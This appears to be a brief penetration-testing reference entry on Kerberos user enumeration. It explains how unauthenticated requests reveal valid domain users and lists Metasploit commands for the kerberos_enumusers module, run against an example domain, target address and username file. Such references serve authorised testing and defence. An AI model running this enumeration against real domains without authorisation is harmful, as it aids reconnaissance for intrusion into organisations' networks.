Kerberos is a computer-network authentication protocol that works on the basis of tickets to allow nodes communicating over a non-secure network to prove their identity to one another in a secure way.
User Enumeration
Enumerate valid Domain Users via Kerberos from a wholly unauthenticated perspective. It utilises the different responses returned by the service to identify users that exist within the target domain.
Metasploit
Use msf > use auxiliary/gather/kerberos_enumusers
Example
msf auxiliary(kerberos_enumusers) > set DOMAIN MYDOMAIN
DOMAIN => MYDOMAIN
msf auxiliary(kerberos_enumusers) > set RHOST 192.168.5.1
RHOST => 192.168.5.1
msf auxiliary(kerberos_enumusers) > set USER_FILE /job/users.txt
USER_FILE => /job/users.txt
msf auxiliary(kerberos_enumusers) > run
